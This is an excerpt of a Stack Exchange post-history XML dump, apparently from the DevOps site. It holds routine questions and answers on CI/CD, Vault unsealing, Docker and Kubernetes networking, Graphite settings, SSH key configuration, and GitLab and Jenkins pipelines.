needs to be done for the project to be tested / build / runnable&#xD;&#xA; 4. the CI deploys the previously built software&#xD;&#xA;&#xD;&#xA;Jenkins, for example, supports pipeline as code, it would allow you to put a `Jenkinsfile` in your repository, that would tell Jenkins how to do step 3 and 4 (travis and circleCI and others CI also supports this).&#xD;&#xA;&#xD;&#xA;You can tell your CI in steps 3 to upload some artifacts to an artifact repository and on step 4, to retrieve them in order to deploy the software, but you don't need to.&#xD;&#xA;&#xD;&#xA;My advice would be to design your CD system the simplest way you can, don't introduce not necessary parts like an artifact repository if you don't need it, add it when you face a problem that needs it.&#xD;&#xA;&#xD;&#xA;As a first step, your CI, can during the deployment steps, simply copy your artifacts to the target server." ContentLicense="CC BY-SA 3.0" />
  <row Id="7672" PostHistoryTypeId="50" PostId="2195" RevisionGUID="df750ec6-61a6-445d-9222-8c9832629318" CreationDate="2017-10-29T17:16:21.620" UserId="-1" />
  <row Id="7676" PostHistoryTypeId="2" PostId="2458" RevisionGUID="85a06f20-4313-475c-94d4-29de6046d169" CreationDate="2017-10-29T17:58:28.667" UserId="210" Text="It is possible to force that multiple keys have to be entered in order to unseal the vault. How does this work in practice? If someone has entered a key and there is another key required to unseal the vault should one ask a colleague to enter another key and how should this be done to prevent that colleague A or someone else sees that key?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7677" PostHistoryTypeId="1" PostId="2458" RevisionGUID="85a06f20-4313-475c-94d4-29de6046d169" CreationDate="2017-10-29T17:58:28.667" UserId="210" Text="How to unseal a Vault in practice?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7678" PostHistoryTypeId="3" PostId="2458" RevisionGUID="85a06f20-4313-475c-94d4-29de6046d169" CreationDate="2017-10-29T17:58:28.667" UserId="210" Text="&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7679" PostHistoryTypeId="2" PostId="2459" RevisionGUID="c3fce29b-516d-47bf-bddf-bba202a15bcc" CreationDate="2017-10-29T18:30:11.043" UserId="3899" Text="I have a Kubernetes pod based on jenkins/slave container to which I mount docker socket and docker binary file with necessary kernel module in privileged mode. Inside that pod I build Docker image basing on which I run docker container. Inside that container I don't have Internet connection at all because pod container uses flannel network (198.x.x.x) and that container uses bridged docker network (172.x.x.x) which is not available inside pod container. How can I make Internet to be available inside the second container which is being created inside Kubernetes pod container? Using Docker API in Jenkins pipeline is not a solution for me as long as it limits output of error logs and I can not commit changes made in the second container because of immediate removing of that container after build." ContentLicense="CC BY-SA 3.0" />
  <row Id="7680" PostHistoryTypeId="1" PostId="2459" RevisionGUID="c3fce29b-516d-47bf-bddf-bba202a15bcc" CreationDate="2017-10-29T18:30:11.043" UserId="3899" Text="Internet connection inside Docker contaier in Kubernetes" ContentLicense="CC BY-SA 3.0" />
  <row Id="7681" PostHistoryTypeId="3" PostId="2459" RevisionGUID="c3fce29b-516d-47bf-bddf-bba202a15bcc" CreationDate="2017-10-29T18:30:11.043" UserId="3899" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7682" PostHistoryTypeId="2" PostId="2460" RevisionGUID="66a6e336-3cd7-4d1a-a3dd-c472cf761da1" CreationDate="2017-10-29T19:11:14.320" UserId="4947" Text="we installed graphite on our Linux server&#xD;&#xA;&#xD;&#xA;and after we installed the graphite and running it&#xD;&#xA;&#xD;&#xA;we saw the following warning from graphite-manage script&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     graphite-manage syncdb --noinput&#xD;&#xA;&#xD;&#xA;     /usr/lib/python2.7/site-packages/graphite/settings.py:246: UserWarning: &#xD;&#xA;     SECRET_KEY is set to an unsafe default. This should be set in &#xD;&#xA;     local_settings.py for better security&#xD;&#xA;     warn('SECRET_KEY is set to an unsafe default. This should be set in &#xD;&#xA;     local_settings.py for better security')&#xD;&#xA;     Creating tables ...&#xD;&#xA;     Installing custom SQL ...&#xD;&#xA;     Installing indexes ...&#xD;&#xA;     Installed 0 object(s) from 0 fixture(s&#xD;&#xA;&#xD;&#xA;how to avoid this warning ? &#xD;&#xA;&#xD;&#xA;what need to fix here ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7683" PostHistoryTypeId="1" PostId="2460" RevisionGUID="66a6e336-3cd7-4d1a-a3dd-c472cf761da1" CreationDate="2017-10-29T19:11:14.320" UserId="4947" Text="graphite-manage + graphite warning" ContentLicense="CC BY-SA 3.0" />
  <row Id="7684" PostHistoryTypeId="3" PostId="2460" RevisionGUID="66a6e336-3cd7-4d1a-a3dd-c472cf761da1" CreationDate="2017-10-29T19:11:14.320" UserId="4947" Text="&lt;linux&gt;&lt;python&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7685" PostHistoryTypeId="2" PostId="2461" RevisionGUID="380730ed-1669-4c3d-9b17-4202c979f1c8" CreationDate="2017-10-29T19:51:54.927" UserId="210" Text="A `SECRET_KEY` has to be set in the `/opt/graphite/webapp/graphite/local_settings.py` file. More information could be found [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://graphite.readthedocs.io/en/latest/config-local-settings.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7686" PostHistoryTypeId="2" PostId="2462" RevisionGUID="fa9501f0-d99f-4e27-91b6-c67a67a71fdc" CreationDate="2017-10-29T20:31:02.020" UserId="4822" Text="edit your /etc/ssh/sshd_config and add&#xD;&#xA;&#xD;&#xA;    AuthorizedKeysFile    /etc/ssh/all_users_authorized_keys&#xD;&#xA;&#xD;&#xA;Put your pubkey in that file, and restart the sshd.&#xD;&#xA;&#xD;&#xA;See:&#xD;&#xA;https://www.ssh.com/ssh/authorized_keys/openssh&#xD;&#xA;&#xD;&#xA;The default behavior (which we are all probably familiar with) is &#xD;&#xA;&#xD;&#xA;    AuthorizedKeysFile    %h/.ssh/authorized_keys&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7687" PostHistoryTypeId="4" PostId="2459" RevisionGUID="a3a70adc-8817-4676-b26f-9fa4cfa6c9e2" CreationDate="2017-10-29T21:05:42.400" UserId="47" Comment="fixed typo in title" Text="Internet connection inside Docker container in Kubernetes" ContentLicense="CC BY-SA 3.0" />
  <row Id="7688" PostHistoryTypeId="50" PostId="1933" RevisionGUID="a60539bd-4eff-4e0a-bfd4-89d515ab8229" CreationDate="2017-10-30T00:16:35.163" UserId="-1" />
  <row Id="7689" PostHistoryTypeId="2" PostId="2463" RevisionGUID="52216779-0a6e-441a-adcc-003582ecbefb" CreationDate="2017-10-30T10:34:55.213" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7690" PostHistoryTypeId="1" PostId="2463" RevisionGUID="52216779-0a6e-441a-adcc-003582ecbefb" CreationDate="2017-10-30T10:34:55.213" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7691" PostHistoryTypeId="2" PostId="2464" RevisionGUID="69cb5636-f69a-4070-b748-9ab62369c29a" CreationDate="2017-10-30T10:34:55.213" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7692" PostHistoryTypeId="1" PostId="2464" RevisionGUID="69cb5636-f69a-4070-b748-9ab62369c29a" CreationDate="2017-10-30T10:34:55.213" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7693" PostHistoryTypeId="5" PostId="2464" RevisionGUID="c4d5ce87-bd17-4390-9af9-acf79f5e65f5" CreationDate="2017-10-30T10:42:12.793" UserId="4954" Comment="added 152 characters in body" Text="For questions about chatops, a way of executing commands and connecting real-time system information to a human-accessible chat system (such as a slack)" ContentLicense="CC BY-SA 3.0" />
  <row Id="7694" PostHistoryTypeId="24" PostId="2464" RevisionGUID="c4d5ce87-bd17-4390-9af9-acf79f5e65f5" CreationDate="2017-10-30T10:42:12.793" Comment="Proposed by 4954 approved by 40, 13 edit id of 514" ContentLicense="CC BY-SA 3.0" />
  <row Id="7697" PostHistoryTypeId="5" PostId="359" RevisionGUID="ccfd1271-9a72-497a-bc76-a489782caec4" CreationDate="2017-10-30T11:28:46.980" UserId="47" Comment="added 166 characters in body" Text="For questions about Ansible Vault - an Ansible feature that allows keeping sensitive data in encrypted files rather than in plain text in various configuration files." ContentLicense="CC BY-SA 3.0" />
  <row Id="7698" PostHistoryTypeId="24" PostId="359" RevisionGUID="ccfd1271-9a72-497a-bc76-a489782caec4" CreationDate="2017-10-30T11:28:46.980" Comment="Proposed by 47 approved by 40, 13 edit id of 512" ContentLicense="CC BY-SA 3.0" />
  <row Id="7699" PostHistoryTypeId="5" PostId="2463" RevisionGUID="6c9f0d6c-77b3-4fce-8d4e-0d76d23ab992" CreationDate="2017-10-30T11:28:52.520" UserId="4954" Comment="added 345 characters in body" Text="&quot;While in a chat room, team members type commands that the chatbot is configured to execute through custom scripts and plugins. These can range from code deployments to security event responses to team member notifications. The entire team collaborates in real-time as commands are executed.&quot; ...https://www.pagerduty.com/blog/what-is-chatops/&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7700" PostHistoryTypeId="24" PostId="2463" RevisionGUID="6c9f0d6c-77b3-4fce-8d4e-0d76d23ab992" CreationDate="2017-10-30T11:28:52.520" Comment="Proposed by 4954 approved by 40, 13 edit id of 513" ContentLicense="CC BY-SA 3.0" />
  <row Id="7701" PostHistoryTypeId="2" PostId="2465" RevisionGUID="a336bfca-8ae0-4621-a941-9056ce7534df" CreationDate="2017-10-30T14:52:09.570" UserId="4961" Text="In our university, our instructor gave Devops environment improvement as a project. I am in the test section of this project and I have a few questions that I can not understand.&#xD;&#xA;&#xD;&#xA;Our instructor said that we must write an adapter that interacts with interface(a other group should provide interface) and allows people in this environment to test their own code. Then he wanted us to investigate the Cucumber, Selenium and Junit.&#xD;&#xA;&#xD;&#xA;If the code-owner people are going to write their own tests, why am I learning Cucumber? Will not the man who wrote the code write his test with Cucumber?&#xD;&#xA;&#xD;&#xA;I am very confused in this regard, please help me with Devops test title." ContentLicense="CC BY-SA 3.0" />
  <row Id="7702" PostHistoryTypeId="1" PostId="2465" RevisionGUID="a336bfca-8ae0-4621-a941-9056ce7534df" CreationDate="2017-10-30T14:52:09.570" UserId="4961" Text="How to implement Devops environment test section?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7703" PostHistoryTypeId="3" PostId="2465" RevisionGUID="a336bfca-8ae0-4621-a941-9056ce7534df" CreationDate="2017-10-30T14:52:09.570" UserId="4961" Text="&lt;testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7705" PostHistoryTypeId="2" PostId="2467" RevisionGUID="ee943179-adf5-4229-9834-3f1b205002c4" CreationDate="2017-10-30T15:19:38.953" UserId="2845" Text="Yes, but you will first need to log in as the master or root account, and then `sudo su otheruser` in order to log in as that user. There is no way to log in as any user without first going through a privleged user's account.&#xD;&#xA;&#xD;&#xA;An additional caveat is that the user you are trying to log in as needs to have a shell of `/bin/bash` or similar valid shell in `/etc/passwd`. If the user has a shell like `/bin/fase` or `/bin/nologin` you will be unable to change to this user's account (but neither will anyone else for that matter). " ContentLicense="CC BY-SA 3.0" />
  <row Id="7707" PostHistoryTypeId="5" PostId="2459" RevisionGUID="bd20a280-1a97-4041-8666-864644892a93" CreationDate="2017-10-30T16:20:39.617" UserId="4289" Comment="Improved formatting and grammar." Text="I have a Kubernetes pod based on a Jenkins/slave container to which I mount a Docker socket and a Docker binary file with necessary kernel modules in privileged mode. &#xD;&#xA;&#xD;&#xA;Inside that pod I build a Docker image, in which I run Docker container. Inside that container I don't have Internet connection at all because the pod container uses a flannel network `(198.x.x.x)` and that container uses bridged docker network `(172.x.x.x)`, which is not available inside the pod container. &#xD;&#xA;&#xD;&#xA;How can I make the Internet available inside the second container which is being created inside the Kubernetes pod container? &#xD;&#xA;&#xD;&#xA;Using Docker API in Jenkins pipeline is not a solution for me as long as it limits output of error logs and I can not commit changes made in the second container because of immediate removing of that container after build." ContentLicense="CC BY-SA 3.0" />
  <row Id="7708" PostHistoryTypeId="24" PostId="2459" RevisionGUID="bd20a280-1a97-4041-8666-864644892a93" CreationDate="2017-10-30T16:20:39.617" Comment="Proposed by 4289 approved by 40, 13 edit id of 515" ContentLicense="CC BY-SA 3.0" />
  <row Id="7709" PostHistoryTypeId="2" PostId="2468" RevisionGUID="7d86bab2-90e6-4a7f-b3e3-9364cab67a43" CreationDate="2017-10-30T16:38:28.617" UserId="4939" Text="I am running a kubernetes cluster in AWS. I have 2 nodes. I have one pod that should be accessible externally. The problem is, that pod can be on either node.&#xD;&#xA;&#xD;&#xA;The solution according to the [docs][1]:&#xD;&#xA;&#xD;&#xA; 1. Expose the deployment as a `NodePort` service.&#xD;&#xA; 2. `get pods` to find the name of the node running the pod.&#xD;&#xA; 3. `get nodes` to find the IP address of the named node.&#xD;&#xA; 4. Open the `NodePort` port through EC2 Security Group.&#xD;&#xA; &#xD;&#xA;The problem here is that this pod could be restarted/switch nodes, I think? At that point the application will be unavailable by the previous node IP address.&#xD;&#xA;&#xD;&#xA;How can I make sure an application is always available, even if this specific pod switches nodes during a restart/etc?&#xD;&#xA;&#xD;&#xA;Note: I definitely only want one of this specific pod. I do not want replicas.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/access-application-cluster/service-access-application-cluster/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7710" PostHistoryTypeId="1" PostId="2468" RevisionGUID="7d86bab2-90e6-4a7f-b3e3-9364cab67a43" CreationDate="2017-10-30T16:38:28.617" UserId="4939" Text="Kubernetes External Access Of A Single Pod" ContentLicense="CC BY-SA 3.0" />
  <row Id="7711" PostHistoryTypeId="3" PostId="2468" RevisionGUID="7d86bab2-90e6-4a7f-b3e3-9364cab67a43" CreationDate="2017-10-30T16:38:28.617" UserId="4939" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7712" PostHistoryTypeId="2" PostId="2469" RevisionGUID="db6f7e6d-0bb5-4ff3-8179-fef7f938ed44" CreationDate="2017-10-30T17:16:23.167" UserId="4289" Text="There doesn't seem to be a &quot;proper&quot; way of unregistering a virtual machine sadly.&#xD;&#xA;&#xD;&#xA;I went around this by stopping the virtual machine using `vmrun` in Fusion, deleting the source folder of the VM, and restarting Fusion so that the application registers that the VM is not there anymore." ContentLicense="CC BY-SA 3.0" />
  <row Id="7713" PostHistoryTypeId="50" PostId="1038" RevisionGUID="22c391e5-f047-43bb-843e-f826d78969d7" CreationDate="2017-10-30T22:32:38.740" UserId="-1" />
  <row Id="7714" PostHistoryTypeId="50" PostId="1637" RevisionGUID="06067014-35b0-43c6-9061-986cb2b25f64" CreationDate="2017-10-31T02:33:10.550" UserId="-1" />
  <row Id="7715" PostHistoryTypeId="2" PostId="2470" RevisionGUID="960a6852-b0a2-4eb9-8c55-3895b8958b27" CreationDate="2017-10-31T04:35:43.593" UserId="4963" Text="A software development team will typically have to test their software. One kind of test that can be done is UI testing, typically done through Selenium and the likes. The stack of services required to run UI tests systematically is often the hardest to set up. Companies like BrowserStack specialize in minimizing that set up task for developers.&#xD;&#xA;&#xD;&#xA;I suggest you investigate how to set up Selenium along with a few browsers to allow the other group to test their software. This task will typically revolve around X11, xvfb, x11vnc, selenium/selenium-grid and one or multiple browsers. Docker images from the selenium team itself are pre-built and offer a great level of functionality out of the box." ContentLicense="CC BY-SA 3.0" />
  <row Id="7716" PostHistoryTypeId="50" PostId="1640" RevisionGUID="72a4c237-30c5-4611-bb3c-87efc39fbc22" CreationDate="2017-10-31T05:35:10.527" UserId="-1" />
  <row Id="7720" PostHistoryTypeId="2" PostId="2472" RevisionGUID="9f5bea41-eadc-41ad-b006-00abbcc7c992" CreationDate="2017-10-31T13:21:17.900" UserId="4954" Text="Example in AWS cli that should work to get the ASG name&#xD;&#xA;&#xD;&#xA;    a=curl 'http://169.254.169.254/latest/meta-data/instance-id'; aws autoscaling describe-auto-scaling-instances --instance-ids $a --query 'AutoScalingInstances[*].AutoScalingGroupName'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7721" PostHistoryTypeId="2" PostId="2473" RevisionGUID="fb6f0303-7e6e-487c-beae-354a1ade021f" CreationDate="2017-10-31T13:39:56.407" UserId="4969" Text="The `NodePort` will resolve correctly, no matter the node where the pods is (even if it gets rescheduled on a different node).&#xD;&#xA;&#xD;&#xA;Any `&lt;Node IP&gt;:&lt;NodePort&gt;` will resolve to a `Service` type `NodePort`, no matter what node the pods are running.&#xD;&#xA;&#xD;&#xA;Every node will forward traffic to that port to the `Service`.&#xD;&#xA;&#xD;&#xA;You need to be on the same network (or create a SSH tunnel) or open that port in one of your nodes to the world." ContentLicense="CC BY-SA 3.0" />
  <row Id="7722" PostHistoryTypeId="50" PostId="1410" RevisionGUID="5b9ddf72-fb64-41b2-8511-a78465a34a03" CreationDate="2017-10-31T13:44:10.093" UserId="-1" />
  <row Id="7723" PostHistoryTypeId="50" PostId="1129" RevisionGUID="a5cc3579-9fdd-4234-b65b-fc5f3797a166" CreationDate="2017-10-31T16:44:33.297" UserId="-1" />
  <row Id="7727" PostHistoryTypeId="2" PostId="2475" RevisionGUID="3e7323bb-cb12-4c58-98c9-e91ef6798007" CreationDate="2017-10-31T18:06:36.833" UserId="4939" Text="I am going to put some concreteness to @Tensibai's recommendation in the comments. I began looking into Ingress and Ingress controllers, but my knowledge/implementation was wrong. I successfully connected via an Ingress, but I felt, at least my implementation, it still depended on the node the ingress was running on.&#xD;&#xA;&#xD;&#xA;So, I began looking at ELB on AWS. I couldn't find any good tutorials on implementing this specific for AWS. The official [docs][1] actually helped more than I was aware. It ended up being embarrassingly easy. I made a single change to my service yaml:&#xD;&#xA;&#xD;&#xA;    type: NodePort&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    type: LoadBalancer&#xD;&#xA;&#xD;&#xA;and applied it via `kubectl apply -f my-file.yaml`&#xD;&#xA;&#xD;&#xA;You can then find the external IP: &#xD;&#xA;&#xD;&#xA;    $ kubectl get svc&#xD;&#xA;    NAME             TYPE           CLUSTER-IP      EXTERNAL-IP        PORT(S)&#xD;&#xA;    my-service       LoadBalancer   100.99.98.97    12.34.56.78        444:31415/TCP&#xD;&#xA;&#xD;&#xA;One part I was not expecting is that the first port `444` is used, rather than the NodePort (`31415` in my case).&#xD;&#xA;&#xD;&#xA;To access my app I would use: `12.34.56.78:444`&#xD;&#xA;&#xD;&#xA;The second part I was not expecting is that the external IP, in my case on AWS, was an ELB. It was created automatically in AWS. I am not sure if kubernetes does this, or kops? Maybe someone can clarify in the comments.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/access-application-cluster/load-balance-access-application-cluster/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7728" PostHistoryTypeId="2" PostId="2476" RevisionGUID="befd6791-d22a-442c-9343-274bd83da3e0" CreationDate="2017-10-31T21:49:21.440" UserId="4822" Text="I'm going to add more story to the answer @esoterydactyl gave, in case it goes over too many people's heads.&#xD;&#xA;&#xD;&#xA;Instead of a monolithic build process, maybe you want to build intermediate packages that can be versioned and deployed to your workspace without all the intermediate build steps. Docker is one packaging solution which is super popular in this case. You could also use .deb or .rpm or non-Docker tarballs, or make CF &quot;StemCells&quot; or even zip files. Also consider Python has prebuilt &quot;wheel&quot; packages now.&#xD;&#xA;&#xD;&#xA;Problems:&#xD;&#xA;--&#xD;&#xA; - all of your developers must use the same build-deps package for their sandbox or hair-pulling fun will emerge in the differences between dev sandbox and CI workspace. Thus the package must support dev laptop sandboxes and Jenkins workspace installation.&#xD;&#xA; - the build-deps package must have its own CI build/test/packaging/release pipeline. It, however, can have reduced cycle frequency while nobody is committing any changes to it (or any of its components).&#xD;&#xA; - This is an example of bundling. If you have, for example, a CVE to patch, everything that uses the bundle must be patched. This must be no more difficult to deploy than anything else, so don't stop work when your CI builds are fast. CI needs CD, or you could be delivering production undeployable software.&#xD;&#xA; - If you're making your own prebuilt artifacts, you need infrastructure to host the artifact repository, and a versioning scheme.&#xD;&#xA;&#xD;&#xA;The incremental solution would be to solve the minimum number of those problems which yields a significant boost in build cycle speed. This is why it makes sense to maintain a local pypi repository, and add Jenkins jobs to build and push wheel packages to it. I know that sounds like a pain, but imagine if you had to manage internal software development for all of the stuff you can just install via pip?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7729" PostHistoryTypeId="5" PostId="1643" RevisionGUID="55ffffbc-3acf-4475-a40e-c64ded14d1d1" CreationDate="2017-10-31T22:11:56.537" UserId="4963" Comment="Added instructions for primary goal achievement." Text="For building docker image using `docker-compose` you can add `build: ` field to the service you want to build and assign to it the path of the `Dockerfile` for example:&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;    services:&#xD;&#xA;      web:&#xD;&#xA;        build: .&#xD;&#xA;        ports:&#xD;&#xA;         - &quot;8080:80&quot;&#xD;&#xA;        volumes:&#xD;&#xA;         - /project:/var/www/html&#xD;&#xA;&#xD;&#xA;This example define a web service which:&#xD;&#xA;&#xD;&#xA; - Uses an image that’s built from the `Dockerfile` in the current directory.&#xD;&#xA; - Forwards the exposed port 80 on the container to port 8080 on the&#xD;&#xA;   host machine&#xD;&#xA; - Mounts the project directory on the host to `/project` inside the&#xD;&#xA;   container, allowing you to modify the code without having to rebuild&#xD;&#xA;   the image.&#xD;&#xA;&#xD;&#xA;To build the image, simply issue the build command via docker-compose, as such: `docker-compose build`." ContentLicense="CC BY-SA 3.0" />
  <row Id="7730" PostHistoryTypeId="24" PostId="1643" RevisionGUID="55ffffbc-3acf-4475-a40e-c64ded14d1d1" CreationDate="2017-10-31T22:11:56.537" Comment="Proposed by 4963 approved by 40, 47 edit id of 516" ContentLicense="CC BY-SA 3.0" />
  <row Id="7731" PostHistoryTypeId="2" PostId="2477" RevisionGUID="3bd10a6c-2d44-4a45-97d7-44d59fe4da0c" CreationDate="2017-10-31T22:43:54.160" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7732" PostHistoryTypeId="1" PostId="2477" RevisionGUID="3bd10a6c-2d44-4a45-97d7-44d59fe4da0c" CreationDate="2017-10-31T22:43:54.160" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7733" PostHistoryTypeId="2" PostId="2478" RevisionGUID="797d4916-b5d4-4012-9377-63a0879ba61c" CreationDate="2017-10-31T22:43:54.160" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7734" PostHistoryTypeId="1" PostId="2478" RevisionGUID="797d4916-b5d4-4012-9377-63a0879ba61c" CreationDate="2017-10-31T22:43:54.160" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7735" PostHistoryTypeId="6" PostId="2066" RevisionGUID="26dfc4a9-6bbe-4406-8b56-8e8bcf6c9b3a" CreationDate="2017-10-31T22:47:34.967" UserId="47" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;windows&gt;&lt;bitbucket&gt;&lt;python&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7736" PostHistoryTypeId="2" PostId="2479" RevisionGUID="a021a7aa-2c06-4835-b860-037cee0e94b9" CreationDate="2017-11-01T07:20:31.023" UserId="4390" Text="I really like the [Cloud Native Landscape][1]. The tools are categorized in a huge map.&#xD;&#xA;&#xD;&#xA;Also you can visit [awesome-ciancd][2] for a bunch of tools and a brief explanation about each of them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/cncf/landscape&#xD;&#xA;  [2]: https://github.com/ciandcd/awesome-ciandcd" ContentLicense="CC BY-SA 3.0" />
  <row Id="7738" PostHistoryTypeId="2" PostId="2480" RevisionGUID="ac69fe39-bf69-441f-acac-ad9fa702c836" CreationDate="2017-11-01T14:10:24.087" UserId="4328" Text="I have a handful of projects that utilize SVN externals. How should these externals be handled in Git? For reference, these externals are shared by multiple repositories and are updated very infrequently, but typically the changes are very impactful (non-backwards compatible). " ContentLicense="CC BY-SA 3.0" />
  <row Id="7739" PostHistoryTypeId="1" PostId="2480" RevisionGUID="ac69fe39-bf69-441f-acac-ad9fa702c836" CreationDate="2017-11-01T14:10:24.087" UserId="4328" Text="SVN Externals in Git" ContentLicense="CC BY-SA 3.0" />
  <row Id="7740" PostHistoryTypeId="3" PostId="2480" RevisionGUID="ac69fe39-bf69-441f-acac-ad9fa702c836" CreationDate="2017-11-01T14:10:24.087" UserId="4328" Text="&lt;git&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7741" PostHistoryTypeId="50" PostId="1290" RevisionGUID="a93aa3b0-c498-434b-ac8a-7e2936026e47" CreationDate="2017-11-01T15:07:27.567" UserId="-1" />
  <row Id="7742" PostHistoryTypeId="5" PostId="2395" RevisionGUID="2e4b6f39-d049-467d-bd74-94bd02ff235d" CreationDate="2017-11-01T16:35:16.473" UserId="4289" Comment="deleted 331 characters in body" Text="**Scenario**&#xD;&#xA;&#xD;&#xA; 1. Create a new virtual machine with runner installed&#xD;&#xA; 2. Trigger a pipeline to run (from another project), which runs on this new virtual machine&#xD;&#xA; 3. Do something else, or fail if pipeline above fails on the new virtual machine&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;I'm using GitLabs Triggers API to run a pipeline from a project, however would like it to run on this newly created virtual machine. &#xD;&#xA;&#xD;&#xA;What would be the best way of parsing this information to the GitLab API, or would something like tags be the best way of doing this?&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;**.gitlab-ci.yml**&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - deploy to test&#xD;&#xA;      - test&#xD;&#xA;      - deploy to prod&#xD;&#xA;    &#xD;&#xA;    Terraform Deploy To Test:&#xD;&#xA;      stage: deploy to test&#xD;&#xA;      script:&#xD;&#xA;        - cd test_deploy&#xD;&#xA;        - python deploy.py&#xD;&#xA;    &#xD;&#xA;    Testing:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - curl --request POST --form token=TOKEN --form ref=master http://gitlab.example.com/api/v4/projects/12/trigger/pipeline&#xD;&#xA;&#xD;&#xA;    Terraform Deploy to Prod:&#xD;&#xA;      stage: deploy to prod&#xD;&#xA;      script:&#xD;&#xA;        - do something if the above testing succeeds, or fail&#xD;&#xA;&#xD;&#xA;The pipeline would be on a runner, and would generate a new build machine and deploy it to the &quot;test group&quot; within vsphere with a python script. &#xD;&#xA;&#xD;&#xA;To test, it then triggers a pipeline call using the GitLab API, and I would like that pipeline to run on the new generated build machine.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7743" PostHistoryTypeId="5" PostId="2395" RevisionGUID="6ddcbe32-2f25-4430-8ead-29b61d8d438d" CreationDate="2017-11-01T16:41:10.810" UserId="4289" Comment="deleted 331 characters in body" Text="**Scenario**&#xD;&#xA;&#xD;&#xA; 1. Create a new virtual machine with runner installed&#xD;&#xA; 2. Trigger a pipeline to run (from another project), which runs on this new virtual machine&#xD;&#xA; 3. Do something else, or fail if pipeline above fails on the new virtual machine&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;I'm using GitLabs Triggers API to run a pipeline from a project, however would like it to run on this newly created virtual machine. &#xD;&#xA;&#xD;&#xA;What would be the best way of parsing this information to the GitLab API, or would something like tags be the best way of doing this?&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;**.gitlab-ci.yml**&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - deploy to test&#xD;&#xA;      - test&#xD;&#xA;      - deploy to prod&#xD;&#xA;    &#xD;&#xA;    Terraform Deploy To Test:&#xD;&#xA;      stage: deploy to test&#xD;&#xA;      script:&#xD;&#xA;        - cd test_deploy&#xD;&#xA;        - python deploy.py&#xD;&#xA;    &#xD;&#xA;    Testing:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - curl --request POST --form token=TOKEN --form ref=master http://gitlab.example.com/api/v4/projects/12/trigger/pipeline&#xD;&#xA;&#xD;&#xA;    Terraform Deploy to Prod:&#xD;&#xA;      stage: deploy to prod&#xD;&#xA;      script:&#xD;&#xA;        - do something if the above testing succeeds, or fail&#xD;&#xA;&#xD;&#xA;The above `gitlab-ci` file would generate a new build machine and deploy it to the &quot;test group&quot; within vsphere with a python script. (Deploying it would activate a `gitlab-runner` and tie it to a specific project and have some tags associated with it).&#xD;&#xA;&#xD;&#xA;To test, it then triggers a pipeline call using the GitLab API, and I would like that pipeline to run on the new generated build machine on vsphere.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Would a work around maybe be something like using [gitlab runner exec][1] command or using [environments][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ce/ci/environments.html#manually-deploying-to-environments" ContentLicense="CC BY-SA 3.0" />
  <row Id="7744" PostHistoryTypeId="5" PostId="1513" RevisionGUID="ef13b316-9054-4c3f-87b3-0f3582d5982d" CreationDate="2017-11-02T06:31:01.213" UserId="4995" Comment="Code-styled all variable names." Text="Any one facing the same problem and using pipeline project, set `JENKINS_NODE_COOKIE` instead of `BUILD_ID`.&#xD;&#xA;&#xD;&#xA;Dont waste your time setting `HUDSON_COOKIE`, `HUDSON_SERVER_COOKIE`, `JENKINS_COOKIE` or `JENKINS_SERVER_COOKIE`. None of them work for pipeline project.&#xD;&#xA;&#xD;&#xA;Refer to https://issues.jenkins-ci.org/browse/JENKINS-28182 for more details." ContentLicense="CC BY-SA 3.0" />
